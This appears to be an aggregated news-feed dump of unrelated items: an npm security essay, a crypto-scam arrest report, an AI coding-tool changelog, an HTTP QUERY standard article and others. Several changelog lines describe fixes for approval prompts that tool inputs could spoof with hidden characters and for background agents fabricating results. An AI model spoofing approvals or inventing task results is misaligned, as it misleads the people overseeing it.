That does not mean developers should stop using packages. The npm ecosystem exists because reuse works. Most teams cannot and should not build everything themselves. But convenience should not erase visibility. If a dependency becomes part of the application, the team should understand what was added, what changed in the lockfile, what risk comes with it, and what action is available if something is wrong.



Developers need confidence, not just reports



The same applies to remediation. Developers do not want a wall of vulnerability text. They want confidence. They want to know what action reduces risk, what version should be targeted, whether the change is safe, and whether the fix is actually under their control. A vulnerability report that leaves the developer uncertain may satisfy a process requirement, but it does not necessarily improve the speed or quality of remediation.



That is the gap many teams feel today. Security tools are often very good at saying, “There is a problem.” They are less consistent at helping the developer answer, “What should I do next?”



This is the broader problem I have been exploring through CVE Lite CLI, now an OWASP project. The point is not that one command-line tool solves Node.js security. It does not. The larger idea is that dependency security has to move closer to the developer’s moment of decision. A useful developer-side security workflow should not merely report that risk exists. It should help the engineer understand whether the issue is in their control, what change is available, and whether the fix actually reduces risk.



The future is decision support, not just detection



That distinction is important. The future of Node.js security is not just more detection. It is better decision support.



Security teams still need policy. Enterprises still need dashboards. CI still needs gates. But developers need something more immediate: a way to reason about dependency risk while the code is still fresh in their mind. That is where the ecosystem has to evolve.



We already accept that testing belongs close to development. We accept that linting belongs close to development. We accept that formatting, type checking, and build validation belong close to development. Dependency security should follow the same path. It should not be treated as a mysterious report that appears at the end of the process. It should become part of the normal rhythm of engineering work.



Before adding a package, developers should understand what trust relationship is being introduced. Before accepting an AI-generated dependency change, they should inspect what entered the graph. Before merging a pull request, teams should understand whether a vulnerability is direct, transitive, fixable, or blocked by another package. And before treating a CI failure as noise, organizations should ask whether the workflow is giving developers enough information to act confidently.



Node.js security will be won, or lost, before CI runs



The Node.js ecosystem will not become safer by slowing down all development. That is unrealistic. It will become safer when security work is placed where developers can actually use it.



The next generation of Node.js security will be won or lost before CI runs.



It will be won when dependency decisions are still small enough to understand, fresh enough to review, and close enough to the developer for action to feel natural.



That is the shift teams need to make now. Not from insecure to secure in one step, but from late detection to earlier judgment. From vulnerability reports to engineering decisions. From trusting packages by habit to understanding trust as part of software design.



Dutch Police Arrest Key Suspect in €100M Global Crypto Investment Scam
Thu, 16 Jul 2026 07:24:15 +0200








A major global crypto investment scam investigation has led to the arrest of an alleged key figure behind an international criminal organization accused of defrauding victims of more than €100 million every month. Dutch police announced multiple arrests across Europe following a long-running investigation into a fraud network that allegedly employed over 700 people operating from around 20 call centers worldwide.
The main suspect, a 46-year-old dual Israeli and Polish national, was arrested at an airport in Poland on May 26 at the request of Dutch authorities. Investigators believe he played an indispensable role in the organization, which allegedly carried out large-scale investment fraud targeting victims across multiple countries.

Global Crypto Investment Scam Network Operated Through Worldwide Call Centers
According to Dutch police, the organization functioned like a professional company with approximately 700 employees spread across nearly 20 offices globally. Individuals working as financial advisors scam operators allegedly contacted victims daily through online platforms and telephone calls while posing as legitimate investment professionals.
Authorities said the organization was structured with a central headquarters overseeing multiple teams, each assigned to target victims in specific countries. Employees reportedly worked under pseudonyms and used technical measures to hide their identities and locations.



[caption id="attachment_113134" align="aligncenter" width="600"] Excerpts from emails that victims sent to scammers[/caption]
As part of the investigation, Belgian police arrested five individuals believed to have worked as fraudulent financial advisors.

Multiple Arrests Made Across Europe
The investigation resulted in several coordinated arrests during May and July.
On July 7, authorities arrested two Dutch nationals aged 45 and 34, along with a 34-year-old Belgian, all residing in Cyprus. A 25-year-old suspect was also arrested in Belgium the same day. On July 10, police arrested a 44-year-old Dutch national in Athens.
The main suspect has since been extradited to the Netherlands, where an examining magistrate ordered 14 days of pre-trial detention. Dutch authorities indicated that additional arrests remain possible as the investigation continues.

How the Global Crypto Investment Scam Worked
Investigators said the online investment scam relied on building long-term trust with victims. Individuals posing as account managers or financial advisors maintained frequent contact through phone calls and online communication, sometimes over several months.
Victims were encouraged to begin with relatively small investments that appeared to generate immediate returns. Police said the investment platforms displayed convincing but fabricated profits, even though no actual investments were being made.
As confidence grew, victims were persuaded to transfer increasingly larger amounts, often in the form of cryptocurrency fraud payments. Instead of being invested, investigators said the funds were diverted directly to the criminal organization.
Authorities also warned that victims who stop investing may later be contacted by so-called recovery companies requesting upfront deposits to recover lost funds. Police believe these recovery operations may also be connected to the same fraud networks.

Hundreds of Complaints Linked to Investment Fraud
Dutch authorities have received approximately 550 reports connected to the organization, while Belgian police have recorded around 200 complaints. Investigators estimate the total number of victims worldwide could reach tens of thousands.
The financial losses reported by victims in the Netherlands alone amount to nearly €25 million, with many individuals losing well over €10,000.
Dutch police said officers proactively contacted some victims after discovering that many remained unaware they had fallen victim to cyber fraud.
Financial investigators are now examining whether assets linked to the suspects can be frozen or seized.

Digital Infrastructure Taken Offline
Investigators said the criminal organization remained active since at least 2021 and relied heavily on concealed digital infrastructure to evade law enforcement.
By tracing financial transactions, IP addresses, and other digital evidence, the Dutch police identified offices, suspects, and critical infrastructure supporting the operation. Authorities worked with commercial service providers to take key elements of the network offline.
The investigation also involved Europol, with intelligence shared across multiple countries to support ongoing criminal prosecutions.
Officials said the case demonstrates the scale and sophistication of modern investment fraud operations and highlighted continued international cooperation to dismantle cyber-enabled financial crime networks.











The Pinwheel Home is a retro-inspired landline phone that will keep your kids safe from doomscrolling
Thu, 16 Jul 2026 06:47:30 +0200
Worried about your kids being exposed to social media and the web too soon? Buy them a landline.


v2.1.211
Thu, 16 Jul 2026 01:16:22 +0200
What's changed

Added --forward-subagent-text flag and CLAUDE_CODE_FORWARD_SUBAGENT_TEXT environment variable to include subagent text and thinking in stream-json output
Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote characters, so tool inputs cannot visually alter the approval message
Fixed auto mode overriding a PreToolUse hook's ask decision for unsandboxed Bash — a hook ask now floors the decision at a prompt
Fixed parallel Claude Code sessions all logging out simultaneously after wake-from-sleep when many sessions share one credential store
Fixed plugin MCP servers not reconnecting after an idle web session woke, leaving MCP calls failing until the next message
Fixed Claude Code on Vertex and Bedrock attempting the default Opus model at startup and printing a spurious fallback notice when a model is explicitly configured
Fixed subagents spawned with an explicit model override reverting to the parent's model when resumed or sent a follow-up message
Fixed nested .claude/rules/*.md files loading even when setting sources exclude project settings
Fixed file upload validation: filenames ending in a DOS device suffix (.prn) or trailing dot are now accepted, and files with multiple hard links are refused
Fixed file uploads to Claude in Chrome from remote and CLI sessions
Fixed edits that leave the input as "?" being silently swallowed and toggling the shortcuts panel
Fixed a startup hang when the Claude in Chrome extension is enabled but Chrome is not running
Fixed a 300ms delay revealing async content (Settings tabs, Stats, diff views, and other loading states)
Fixed reopening a just-stopped background session from the agents view starting a blank conversation under the same session id
Fixed /loop hiding the session from /resume after a single use
Fixed screen reader users losing the audible terminal bell after /terminal-setup or onboarding terminal setup
Fixed background jobs on LLM gateway auth (ANTHROPIC_AUTH_TOKEN + ANTHROPIC_BASE_URL) coming back "Not logged in" after the daemon respawns them
Fixed claude agents jobs becoming permanently undeletable when git no longer recognizes their worktree — the row now shows why the delete was refused instead of silently reappearing
Fixed /clear not resetting the session cost counter — the statusline's cost now starts at $0 after /clear
Fixed Claude in Chrome setup pages failing to open in the browser on Windows
Fixed headless print-mode sessions on Windows crashing or silently exiting when stdin is unreadable
Fixed background session titles in the agents view showing the naming model's refusal text when the prompt contains a link
Fixed background agents killed by the user auto-respawning, and revived agents re-running stale prompts from old sessions
Fixed routines with no schedule reporting a next run time in the year 1
Hardened synced skill/plugin directory naming on Windows and kept CCR web fetch/search proxies working after /clear
Improved terminal layout and rendering performance
Improved background agent result reporting — Claude now reports the status of still-running agents and waits for the real completion instead of fabricating results
Improved the memory index over-limit warning to measure only loaded content, excluding frontmatter and HTML comments
Updated integer environment variables (timeouts, token budgets, retry counts) to accept scientific notation and digit-separator spellings like 1e6 and 64_000
Updated documentation links to the current docs sites
Changed "always allow" permission rules to save at the repository root, so approvals granted in a git worktree persist across sessions and worktrees
Changed /usage-credits to ask for confirmation before sending a request to organization admins
Changed Vim mode s and S (substitute char/line) to work in NORMAL mode, matching vim behavior
[VSCode] Updated the Remote Control banner to describe what it does
Claude in Chrome: hardened file-upload path validation
Claude in Chrome: save_to_disk on screenshot actions now writes the image to disk and returns the path; previously it did nothing
Fixed a prompt-caching regression on Bedrock, Vertex, Mantle, and Foundry that billed the trailing system context block as fresh input tokens on every request.



Artificial Intelligence
Wed, 15 Jul 2026 23:02:40 +0200
Latest from today
news
DeepMind CEO again pushes for a frontier AI standards body
Demis Hassabis argues that a US government-led industry effort is needed to keep AGI-like developments safe; analysts aren’t so sure.
By Evan Schuman
Jul 15, 20268 mins
Artificial IntelligenceGovernmentLaws and Regulations
		
opinion

			
Apple’s OpenAI lawsuit: The lunacy of trying to limit what ex-employees can tell future employers
By Evan Schuman
Jul 15, 20265 mins
AppleGovernmentLaws and Regulations
opinion

			
What problems would an AI speaker from OpenAI actually solve?
By Jonny Evans
Jul 15, 20265 mins
AppleArtificial IntelligenceVendors and Providers
 feature
How to unionize your tech workplace
By Robert Mitchell
		Jul 15, 202618 mins
CareersIT JobsTechnology Industry
		
 tip
5 wild ways to make Android widgets more useful
By JR Raphael
		Jul 15, 202612 mins
AndroidMobile AppsSmartphones
		
 news
Microsoft is forcing an enterprise transition to passkeys
By Taryn Plumb
		Jul 14, 20266 mins
Access ControlAuthenticationIdentity and Access Management
		
 news
Siri AI steals the show as the iOS 27 public beta lands
By Jonny Evans
		Jul 14, 20265 mins
AppleOperating SystemsiOS
		
 opinion
With its latest layoffs, Microsoft goes all in on AI
By Preston Gralla
		Jul 14, 20265 mins
Artificial IntelligenceIT StrategyMicrosoft
		
 news
Forg365 industrializes Microsoft 365 phishing with AI-generated lures
By Prasanth Aby Thomas
		Jul 14, 20264 mins
Microsoft 365Office SuitesProductivity Software
		

						
							
								
							
						
					
Articles
news
OpenClaw becomes a nonprofit foundation as it seeks to be ‘the Switzerland of AI’
Analysts and consultants applaud the move as potentially delivering the development consistency that the current offerings lack, but some worry that treating the company as neutral is a mistake.
By Evan Schuman
 Jul 13, 2026 8 mins
Artificial IntelligenceGenerative AINonprofits
news analysis
AI is killing low cost smartphones
Data from Omdia and Counterpoint shows that while Apple and Samsung thrive, the rest of the industry takes a dive
By Jonny Evans
 Jul 13, 2026 5 mins
AppleMobile PhonesSmartphones
news
Meta pulls Instagram AI feature amid privacy concerns
By specifying a public account, users could allow the AI model to use the person’s images as a reference without the account holder being notified.
By Viktor Eriksson
 Jul 13, 2026 1 min
Artificial IntelligenceGenerative AIInstagram
feature
Q&A: How Google plans to reinvent the spreadsheet with AI
Soon, Google wants to see AI doing the spreadsheet busywork, says Eric Birnbaum, director of product management for Google Sheets.
By Matthew Finnegan
 Jul 13, 2026 10 mins
Generative AIGoogle SheetsGoogle Workspace
brandpostSponsored by Tether
Physical AI will see the fusion of robotics and AI transform the world
By tether
 Jul 9, 2026 6 mins
Artificial Intelligence
news analysis
‘Rotten to its core’ — Apple files an explosive lawsuit against OpenAI
Apple accuses OpenAI and former Apple Vice President Tang Tan of extensive coordinated data theft and asks whether OpenAI’s hardware plans are based around exfiltrated Apple info.
By Jonny Evans
 Jul 11, 2026 6 mins
AppleArtificial IntelligenceGenerative AI
opinion
Apple is prepping for life after the AI gold rush
The company's interest in compression of AI models is the right approach.
By Jonny Evans
 Jul 11, 2026 6 mins
AppleArtificial IntelligenceGenerative AI
news
Microsoft Exchange Server on prem gets a little harder to use
The lightweight web client is going away, placing more demands on systems still clinging to Microsoft’s on-prem email system.
By Maxwell Cooter
 Jul 10, 2026 2 mins
Email ClientsMicrosoft ExchangeMicrosoft Outlook
news
Mistral joins rush to build physical AI
Its Robostral Navigate AI model needs input from just one color camera, doing without Lidar, depth sensors, or multiple viewpoints.
By Maxwell Cooter
 Jul 10, 2026 2 mins
Artificial IntelligenceRobotics
news
Apple will buy more US-made components from Broadcom
Chips and thin-film bulk acoustic resonator (FBAR) filters are on the menu.
By Maxwell Cooter
 Jul 10, 2026 2 mins
AppleNetworkingWi-Fi
news
Meta launches low-cost Muse Spark 1.1 as enterprise AI spending comes under scrutiny
Meta says the model delivers competitive performance against OpenAI, Anthropic, and Google offerings while costing a fraction as much to run.
By Anirban Ghoshal
 Jul 10, 2026 5 mins
Artificial IntelligenceGenerative AI
how-to
The ultimate guide to Android contacts management
Your Android phone's contacts are much more than just a glorified Rolodex. Ready for an unexpected productivity upgrade? 
By JR Raphael
 Jul 10, 2026 16 mins
AndroidGoogleProductivity Software
news
OpenAI launches ChatGPT Work as it broadens GPT-5.6 rollout
The enterprise AI agent combines ChatGPT, Codex, and GPT-5.6 to automate workplace tasks as OpenAI broadens rollout of its latest frontier models.
By Gyana Swain
 Jul 10, 2026 5 mins
Artificial IntelligenceGenerative AIProductivity Software

			
					
				
				
					
				

						 View all 

				Upcoming Events
Sep/24

			
				
					conference
CIO 100 Awards & Conference UK
24 Sep 2026London, UK
		Microsoft 365
			
		Nov/26

			
				
					conference
CSO Awards & Conference UK
26 Nov 2026London, UK
		Cyberattacks
			
		

						 View all events
					
				
			

						
							
								
							
						
					

				
				Resources

			
				
					
						whitepaper
					
					Accelerate your cloud migration with Atlassian FastShift
					
Turn an Atlassian cloud migration into a faster, more predictable transformation. In this session, you’ll walk through the FastShift playbook.
The post Accelerate your cloud migration with Atlassian FastShift appeared first on Whitepaper Repository –.

					
						
						By 
						Atlassian
						
					
					14 Jul 2026
Business OperationsCloudDigital Transformation
			
			
				
			
		

				
					
						
							whitepaper
						
						Warum sich Teams für Cloud entscheiden
						
							
							By 
							Atlassian
							
						
						14 Jul 2026
Business OperationsCloudDigital Transformation
				
				
					
				
			

				
					
						
							whitepaper
						
						Pourquoi les équipes optent pour la solution cloud
						
							
							By 
							Atlassian
							
						
						14 Jul 2026
Business OperationsCloudDigital Transformation
				
				
					
				
			
		

			 View all 
		
			

						
							
								
							
						
					
Podcasts

			
				
			
		
 podcasts
2-Minute Tech Briefing
Catch up on the latest enterprise IT news in a fast-paced video briefing with host Arnold Davick. Listen to the show on Computerworld, YouTube, Apple and Spotify.
81  episodes
Emerging Technology
			
				 Ep. 81
				
				
			
			
		
Microsoft Copilot Growth, ClaudeBleed Risk, LinkedIn GDPR Complaint | Ep. 84

				By Arnold Davick
			

			Mar 20, 20242 mins
		
Artificial Intelligence

			
				 Ep. 80
				
				
			
			
		
Chrome Gemini, AI Agents, CISA Infrastructure Cyber Resilience | Ep. 83

				By Arnold Davick
			

			Mar 20, 20242 mins
		
Artificial Intelligence
Video on demand
        
            video            
            
                Why AI agents fail when enterprises don’t define the job
            
                            Enterprises are investing heavily in AI agents, but many projects fail when companies skip clear goals, guardrails, governance and success metrics.
            
                         Jul 14, 2026 33 mins
Artificial IntelligenceGenerative AIIT Governance
        
                
                            
                    >
					
				
                
                    
        

                        
                                    
            
                
                    
                        
                    
                
                
                    Why enterprise AI projects stall before delivering real value
                                         Jul 7, 2026 29 mins
                    Artificial IntelligenceGenerative AIROI and Metrics
                
            
        
                
            
                
                    
                        
                    
                
                
                    How AI is breaking job interviews, skills testing and evaluation
                                         Jun 30, 2026 32 mins
                    Generative AIHiringIT Skills and Training
                
            
        
                
            
                
                    
                        
                    
                
                
                    How AI is reshaping cybersecurity
                                         Jun 23, 2026 44 mins
                    CyberattacksCybercrimeGenerative AI
                
            
        
        
See all videos

			Show me more

		

					
						opinion 
 Apple finally calls time on 15-year-old device support
 By Jonny Evans
Jul 9, 20264 mins
				 AppleSmartphonesiPhone
					
				
			

					
						brandpost Sponsored by Tether
 Physical AI will see the fusion of robotics and AI transform the world
 By tether
9 Jul 20266 mins
				 Artificial Intelligence
					
				
			

					
						news 
 SpaceXAI launches Grok 4.5, touts lower coding-task costs than AI rivals
 By Prasanth Aby Thomas
Jul 9, 20265 mins
				 Artificial IntelligenceDeveloperGenerative AI
					
				
			

					
						podcast 
 Microsoft Copilot Growth, ClaudeBleed Risk, LinkedIn GDPR Complaint | Ep. 84
 By Arnold Davick
May 22, 20262 mins
				 Artificial Intelligence
					
				
			

					
						podcast 
 Chrome Gemini, AI Agents, CISA Infrastructure Cyber Resilience | Ep. 83
 By Arnold Davick
May 22, 20262 mins
				 Artificial Intelligence
					
				
			

					
						podcast 
 AI Triage Gains, Model Reviews, Ask Jeeves Shutdown | Ep. 82
 By Arnold Davick
May 18, 20262 mins
				 Artificial Intelligence
					
				
			

					
						video 
 Why AI agents could create a new control and security crisis
 
Jun 16, 202628 mins
				 Artificial IntelligenceGenerative AIIT Governance
					
				
			

					
						video 
 Does quality suffer when AI generates code?
 
Jun 9, 202635 mins
				 Code SecurityDeveloperGenerative AI
					
				
			

					
						video 
 What happens when AI starts selling to AI?
 
Jun 2, 202638 mins
				 Generative AIProcurement SoftwareSalesforce Automation 
					
				
			


Facebook Tops the List of Social Apps People Worry About Most
Wed, 15 Jul 2026 22:38:16 +0200
New data shows Facebook tops the list of distrusted social apps, AI identity theft is the #1 fear, and half of users aren’t taking steps to stay safe. The post Facebook Tops the List of Social Apps People Worry About…
Read more →
The post Facebook Tops the List of Social Apps People Worry About Most appeared first on IT Security News.


release-publish/c3927271fad7-20260715
Wed, 15 Jul 2026 21:16:50 +0200
release tooling for v2026.7.2-beta.1 ClawHub retry and provenance evi…


release-publish/1d2777548d01-20260715
Wed, 15 Jul 2026 19:32:13 +0200
release tooling for v2026.7.2-beta.1 postpublish retry


release-publish/0f7fbfa0039f-20260715
Wed, 15 Jul 2026 18:46:50 +0200
release tooling for v2026.7.2-beta.1 retry


IETF publishes QUERY method to allow safe and idempotent HTTP requests
Wed, 15 Jul 2026 17:19:26 +0200

		
					  
						




When an HTTP request is too long or complex to be encoded in its URI using GET, developers have long resorted to using the POST method as a workaround. However, this can create issues; while GET requests are defined as safe and idempotent, POST does not necessarily share those characteristics.



To combat the problem, the Internet Engineering Task Force (IETF) has published a proposed standard HTTP request method, QUERY (RFC 10008), which bridges the two functions, taking the best of each.



A safe method is defined as one which is “essentially” read-only, where “the client does not request, and does not expect, any state change on the origin server as a result of applying a safe method to a target resource. Likewise, reasonable use of a safe method is not expected to cause any harm, loss of property, or unusual burden on the origin server,” the IETF standards document states. And when a request is idempotent, no matter how many times it is retried, the intended effect on the server of multiple identical requests with that method is the same as the effect for a single such request.



POST requests do not always fulfill those criteria. But QUERY requests do. The input to the QUERY operation is, like POST, passed as the content of the request, rather than as part of the request URI as it is with GET. Unlike POST, QUERY allows functions such as caching and automatic retries to operate, precisely because it is safe and idempotent.



Read-only in disguise



“RFC 10008 matters because it gives the web’s favorite workaround a protocol identity,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. “Developers have disguised read-only questions as POST commands for two decades; QUERY carries the question in the request body while declaring it safe to retry and cache. The significance is machine-readable intent; retry engines, caches, and autonomous agents act on what a method declares, not on what documentation intends. Under automation, semantics become policy.”



“GET works while a request fits comfortably in a URI, and stops working the moment a developer needs deep filters, long identifier sets or an entire query document,” Gogia explained. “URIs also attract exposure through histories, bookmarks, and access logs, and encoding every input combination into the address quietly turns each permutation into a distinct resource.”



“POST solves the size problem and withholds the promise,” Gogia said. “Its generic semantics admit creation, mutation, and side effect, so no cache, retry engine, or gateway is entitled to assume that a given POST is repeatable or reusable.”



But while QUERY answers the long-running POST-for-search problem, the new method comes with some gotchas. As software engineer Rickvian Aldi noted in a blog post, “The cautious version is: it answers the semantics, not all the deployment work. Front-end code still needs stable query keys. Servers still need validation and cache-control headers. Infrastructure still needs to allow the new method.”



New standards take time



And that will take time; standards are often slow to be adopted. And before QUERY can be widely used, other standards such as the HTML forms standard need updating. That exercise is already in progress by groups such as the Web Hypertext Application Technology Working Group.



“Publishing an RFC as a Proposed Standard doesn’t mean the whole ecosystem supports it the next day,” said open source developer Daniele Teti in a blog post. “It’s the first rung of the IETF standards track: the specification is stable and ready for implementation, but it takes time for browsers, servers, proxies, CDNs, and client libraries to actually adopt it.” No major browsers support QUERY as yet, although, on the server side, Node.js and Go support the method.



Gogia pointed out that the authors of RFC 10008, engineers at Cloudflare, Akamai, and greenbytes, recognize this.



“The retreat route is designed into the standard itself,” Gogia said. “The Location bridge exists so that a QUERY can collapse back into a GET the moment it meets infrastructure that never learned, and the document says as much when it notes that clients can switch to GET for subsequent requests to simplify processing. Read that way, the equivalent resource is less a philosophical concession than a contingency plan, and it is the feature most likely to carry the method through its awkward years.”



A Recycling Expert Shares 7 Takeout Containers That Don't Belong in the Blue Bin
Wed, 15 Jul 2026 16:48:50 +0200
These seven everyday items seem like safe bets for the blue bin. They're not, and tossing them in only bogs down the system.


Sportzfy for PC on Windows 10 & 11: Safe Install Guide
Wed, 15 Jul 2026 16:28:24 +0200
Sportzfy is primarily an Android application, so you cannot normally install it on Windows 10 by opening a standard Windows setup file. We could not verify an official native Sportzfy .exe application or an authenticated Microsoft Store listing. To use the Android app on a Windows PC, the practical solution is to run it through […]
The post Sportzfy for PC on Windows 10 & 11: Safe Install Guide appeared first on MSPoweruser.


AI is not ready to fly solo in space
Wed, 15 Jul 2026 16:03:45 +0200
In sci-fi, AI can navigate the unknowns and — ideally — keep human travelers safe. But it’s not intelligent enough to do that yet.


Sugar Season 2 Episode 5 Preview: Can Sugar Find Ji Before It Is Too Late?
Wed, 15 Jul 2026 15:55:48 +0200
Sugar Season 2 Episode 5 will continue John Sugar’s dangerous search for Ji Moon as Lieutenant Ray Vega closes in on both men. After the risky plan seen in Episode 4, Sugar must find a way to protect Ji while exposing the corruption surrounding his disappearance.




Release date: July 17, 2026



Episode title: “Unknowns”



Streaming platform: Apple TV



Genre: Neo-noir, mystery, thriller and science fiction



Season length: Eight episodes



Expected duration: Around 40 to 50 minutes



Main cast: Colin Farrell, Jin Ha, Raymond Lee, Tony Dalton, Laura Donnelly, Sasha Calle and Shea Whigham



Release schedule: New episodes arrive every Friday




Apple TV began releasing Sugar Season 2 on June 19, with the finale scheduled for August 7. Episode 5, therefore, marks the beginning of the second half of the season.



Sugar Season 2 Episode 5 Preview



Spoilers ahead for Sugar Season 2 Episode 4.



Sugar’s search for Ji took a dangerous turn after he confronted Vega and made it clear that he knew about the police officer’s involvement in the case. Vega has connections inside the department, which makes it difficult for Sugar to trust the authorities or ask them for help.



Episode 4 also revealed why Ji became a target. Ji had witnessed Vega killing a gang member, leaving Vega desperate to silence him before the truth became public. Sugar eventually used a fake overdose to fool Vega’s men before reviving Ji with Narcan. The plan saved Ji temporarily, but it also showed how far Sugar must go to keep him alive.



Episode 5 will likely follow Sugar as he tries to move Ji to a safer location. Vega now knows that Sugar has become a serious threat, so he could use his police resources to track them down. Sugar must stay ahead of him while convincing Ji to reveal everything he saw.



Can Sugar Keep Ji Safe From Vega?



Ji remains the most important witness in the investigation. His testimony could connect Vega to the murder and expose a larger network of corruption within the Los Angeles Police Department.



However, keeping Ji alive will become increasingly difficult. Vega has already shown that he can manipulate witnesses, use other officers and arrange traps without drawing attention to himself. His meeting with Hannah also proved that anyone connected to Ji can become a target.



Sugar may need help from Val or another unexpected ally to move Ji before Vega finds their location. Charlotte could also become more involved after investigating Sugar’s private life, although her true intentions remain uncertain.



Vega Could Turn the Investigation Against Sugar



Vega may try to portray Sugar as a criminal who kidnapped Ji or interfered with an official investigation. Since Sugar directly challenged him during their interrogation, Vega now has a personal reason to destroy his reputation.



Tony Dalton’s Vega has developed into Sugar’s main opponent, combining police authority with calculated violence. Their conflict should become even more intense in Episode 5 as Sugar searches for evidence that can support Ji’s account.



At the same time, Sugar continues searching for his missing sister, Djen. The Ji Moon case could eventually connect with that larger mystery, especially as the season explores a conspiracy stretching across Los Angeles and possibly beyond Earth.



Sugar Season 2 Episode 5 arrives on Apple TV on July 17. Do you think Sugar can keep Ji safe and expose Vega, or will the corrupt officer reach them first? Let us know in the comments.


LankeOS — A fully independent Linux distro built from scratch with a custom C++20 atomic package manager, Linux 7.1.1, and pure Wayland. Come vote for it on DistroWatch!
Wed, 15 Jul 2026 15:11:50 +0200
Hi everyone,
 I’ve been working on a fully independent Linux distribution for the past 5 months – no Debian/Arch/Fedora base, everything built from upstream source using my own toolchain.
 Now I think it brings something genuinely new to the table.
 Here is LankeOS, a fully independent Linux distribution built from scratch by a solo developer. If you're tired of "just another Ubuntu/Debian/Arch derivative," this one is genuinely different.
 What makes LankeOS special
  Custom package manager — lpkg (written in C++20)
 
 This is the centerpiece. lpkg is a from-scratch package manager with a WAL atomic transaction system — meaning it can survive power loss mid-install without breaking your system. It includes:
 - ELF DT_NEEDED verification — validates every shared library dependency against the repo before installing. No "missing .so" surprises.
 - Ctrl+C handling — the signal waits for current operation + rollback.
 - 410+ regression tests — including simulated power-loss recovery scenarios.
 - Aggregated index format — compact single-file index with all version/hash/dep info per package.
 - Static build support — one binary, runs anywhere.
 - Package transaction system with WAL-based logging, atomic commit, and rollback support — bringing database-style reliability to traditional mutable Linux package management.
 - .lpkg format = tar.zst + embedded metadata.json + content/ + hooks/
  Not a derivative — built from LFS methodology
 
 LankeOS is not based on Debian, Arch, Fedora, or any existing distro. Every one of its 284 packages is built from upstream source using its own LankeBUILD system. This is a true independent distribution.
 It supports modern hardware and runs perfectly on my Dell OptiPlex 5000 Micro.
  Modern (bleeding edge) software stack
 
 - Linux Kernel 7.1.1
 - GCC 16.1.1, LLVM/Clang 22.1, glibc 2.42
 - systemd 257.8
 - Wayland desktop via niri
 - PipeWire audio stack, Mesa graphics
 - Firefox, WebKitGTK, GTK3/4
 - OpenJDK 25, Node.js, Go, Rust 1.96, Ruby 4.0, Python 3 out of the box
 - mihomo proxy, fcitx5 Chinese input with CJK fonts
  Incredibly lean and fast
 
 - ~4 second boot from power-on to desktop in qemu
 - Runs on as little as 400-500 MiB RAM
 - toram kernel parameter copies the entire system to RAM for fully disk-less operation
 - OverlayFS-based persistent storage via LABEL=LANKE_DATA partition
  Smart initramfs with version-aware upgrades
 
 The init script detects version mismatches between the base file and the upper paritition, automatically enters a "live upgrade mode," and notifies the user. Built-in installer (lanke_install) handles GPT formatting, copying, and GRUB setup in one guided flow.
 Why LankeOS?
 LankeOS is built around three principles:
 ### 1. Engineering first
 Instead of focusing on visual customization or superficial changes, LankeOS focuses on the underlying engineering of a Linux distribution.
 It provides its own:
 - build system (LankeBUILD)
 - package manager (lpkg)
 - package format
 - repository infrastructure
 - init and upgrade logic
 Every component exists because it solves a real system engineering problem.
 ### 2. High technical density
 LankeOS aims to provide a complete development and daily-use environment while keeping the system lightweight.
 A single installation image includes:
 - complete C/C++/Rust/Python/Go/Java development toolchains
 - modern graphics stack (Wayland, Mesa, Vulkan)
 - multimedia support (PipeWire, FFmpeg)
 - desktop applications (Firefox, mpv, etc.)
 - package management and system development tools
 The goal is not to minimize the number of packages, but to maximize the amount of usable capability per byte.
 ### 3. Stability through controlled complexity
 Although LankeOS follows a rolling-release model and uses recent upstream software, stability is achieved through strict integration testing.
 Every release is tested on real hardware, not only virtual machines.
 The development process includes:
 - reproducible package builds
 - dependency verification
 - regression tests
 - transaction-safe package operations
 - real hardware validation
 LankeOS is designed for users who want the flexibility of a lightweight distribution without sacrificing reliability.
 It is not another customized Linux image.
 It is an experiment in building a complete Linux distribution from the foundations up:
 a system where every layer can be understood, rebuilt, and improved.
 Links
 - GitHub: github.com/Wtada233/LankeOS
 - Package repo: lankerepo.wtada233.top/x86_64
 - Official site: lankeos.wtada233.top
 - DistroWatch: https://distrowatch.com/dwres.php?waitingdistro=1104&resource=links#new
 TL;DR: LankeOS is what happens when someone reads LFS anre distro around this" — with a crash-proof C++20 package
 manager, Linux 7.1.1, Wayland+Xwayland, 284 hand-built packages and a size of 1.24GiB. Go give it a vote on DistroWatch.
 
   submitted by    /u/Wtada233  
 [link]   [comments]


Which home security system is recommended? Theres so many, any reviews welcome. I want something that records 24/7 and can be saved.
Wed, 15 Jul 2026 14:23:51 +0200
For context I need to get something fast. I'm in court with an ex and need to keep my child and I safe from him. Without giving away too much he's angry, violent and this precaution was recommended by police, shelters and my lawyer warned me as well. So please help me find the right one. I'm trying to stay under $200 but if it goes above thats fine. 
 
   submitted by    /u/Mell0wMarshmall0w  
 [link]   [comments]


Microsoft deletes man’s hacked OneDrive with 25 years of photos and games — as 'irreversible' action prompts him to bemoan ‘I relied on Microsoft to keep that safe’
Wed, 15 Jul 2026 14:02:45 +0200
A OneDrive user’s account was deleted after it got hacked, losing 25 years’ worth of their photos and games.


release-publish/54f70c5d8c04-20260715
Wed, 15 Jul 2026 12:46:59 +0200
release tooling for v2026.7.2-beta.1 retry


5 ways for CIOs to avoid AI bill shock
Wed, 15 Jul 2026 12:08:37 +0200

		
					  
						




Gen AI spending is moving beyond the familiar software model of seats, licenses, and pilots. As AI shifts from copilots to embedded workflows and autonomous agents, one user request can trigger multiple model calls, retrieval steps, retries, orchestration layers, and infrastructure events. A tool that looks affordable in pilot may behave very differently once connected to production systems or allowed to act with less human supervision.



According to Michael Corrigan, CIO of World Insurance Associates, AI introduces a fundamentally different cost model — one that’s usage driven, non-linear, and tightly coupled to business activity. “Success requires shifting from traditional IT budgeting to FinOps-style discipline where consumption, value, and governance are actively managed in real time,” he says.



Here are five ways CIOs can build that discipline before AI costs spiral.



Forecast AI by workflow, not by user



At World, a top 25 insurance broker with about 3,000 employees across roughly 300 locations, AI use falls into three broad categories, Corrigan says. One is broad tools, such as copilots. Another is embedded AI inside SaaS platforms. And the third is bespoke AI built around specific workflows and manual processes.



“The bespoke is the area that’s growing the most right now,” he says. “And that’s where the model, from a cost perspective, has really been shifting from a license seat cost to a token consumption or token burn cost, or even a hybrid.”


 width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px">Michael Corrigan, CIO, World Insurance Associates
WIA



Seat-based pricing is relatively easy to forecast whereas consumption-based AI isn’t. Costs may depend on prompt complexity, output length, model choice, workflow design, and whether the system calls a model once or many times in the background.



